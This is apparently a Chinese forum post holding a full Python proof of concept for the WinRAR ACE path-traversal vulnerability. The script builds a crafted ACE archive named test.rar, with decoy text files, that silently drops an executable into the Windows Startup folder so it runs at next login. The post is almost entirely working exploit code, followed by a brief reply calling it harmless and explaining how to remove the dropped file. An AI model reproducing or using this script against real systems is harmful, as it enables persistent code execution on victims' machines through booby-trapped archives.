漏洞POC(python):
- #!/usr/bin/env python3
- import os
- import re
- import zlib
- import binascii
- import sys
- # 生成的压缩包名
- rar_filename = "test.rar"
- # 穿越的恶意文件
- evil_filename = "calc.exe"
- # 恶意文件释放的目录
- target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
- # Other files to be displayed when the victim opens the winrar
- # filename_list=[]
- filename_list = ["rick.txt", "roll.txt"]
- class AceCRC32:
- def __init__(self, buf=b''):
- self.__state = 0
- if len(buf) > 0:
- self += buf
- def __iadd__(self, buf):
- self.__state = zlib.crc32(buf, self.__state)
- return self
- def __eq__(self, other):
- return self.sum == other
- def __format__(self, format_spec):
- return self.sum.__format__(format_spec)
- def __str__(self):
- return "0x%08x" % self.sum
- @property
- def sum(self):
- return self.__state ^ 0xFFFFFFFF
- def ace_crc32(buf):
- return AceCRC32(buf).sum
- def get_ace_crc32(filename):
- with open(filename, 'rb') as f:
- return ace_crc32(f.read())
- def get_right_hdr_crc(filename):
- # This command may be different, it depends on the your Python3 environment.
- p = os.popen('py -3 acefile.py --headers %s'%(filename))
- res = p.read()
- pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
- result = pattern.findall(res)
- right_hdr_crc = result[0].upper()
- return hex2raw4(right_hdr_crc)
- def modify_hdr_crc(shellcode, filename):
- hdr_crc_raw = get_right_hdr_crc(filename)
- shellcode_new = shellcode.replace("6789", hdr_crc_raw)
- return shellcode_new
- def hex2raw4(hex_value):
- while len(hex_value) < 4:
- hex_value = '0' + hex_value
- return hex_value[2:] + hex_value[:2]
- def hex2raw8(hex_value):
- while len(hex_value) < 8:
- hex_value = '0' + hex_value
- return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2]
- def get_file_content(filename):
- with open(filename, 'rb') as f:
- return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...'
- def make_shellcode(filename, target_filename):
- if target_filename == "":
- target_filename = filename
- hdr_crc_raw = "6789"
- hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])
- packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])
- origsize_raw = packsize_raw
- crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])
- filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])
- filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename)
- content_raw = get_file_content(filename)
- shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \
- + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\
- + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
- return shellcode
- def build_file(shellcode, filename):
- with open(filename, "wb") as f:
- f.write(binascii.a2b_hex(shellcode.upper()))
- def build_file_add(shellcode, filename):
- with open(filename, "ab+") as f:
- f.write(binascii.a2b_hex(shellcode.upper()))
- def build_file_once(filename, target_filename=""):
- shellcode = make_shellcode(filename, target_filename)
- build_file_add(shellcode, rar_filename)
- shellcode_new = modify_hdr_crc(shellcode, rar_filename)
- content_raw = get_file_content(rar_filename).upper()
- build_file(content_raw.replace(shellcode.upper(), shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9", get_file_content(filename)), rar_filename)
- if __name__ == '__main__':
- print("[*] Start to generate the archive file %s..."%(rar_filename))
- shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"
- build_file(shellcode_head, rar_filename)
- for i in range(len(filename_list)):
- build_file_once(filename_list[i])
- build_file_once(evil_filename, target_filename)
- print("[+] Evil archive file %s generated successfully !"%(rar_filename))
|
发表于 2022-12-19 15:53:01
)
楼主
纯天然无公害！（完事进shell:startup删掉hi.exe就行）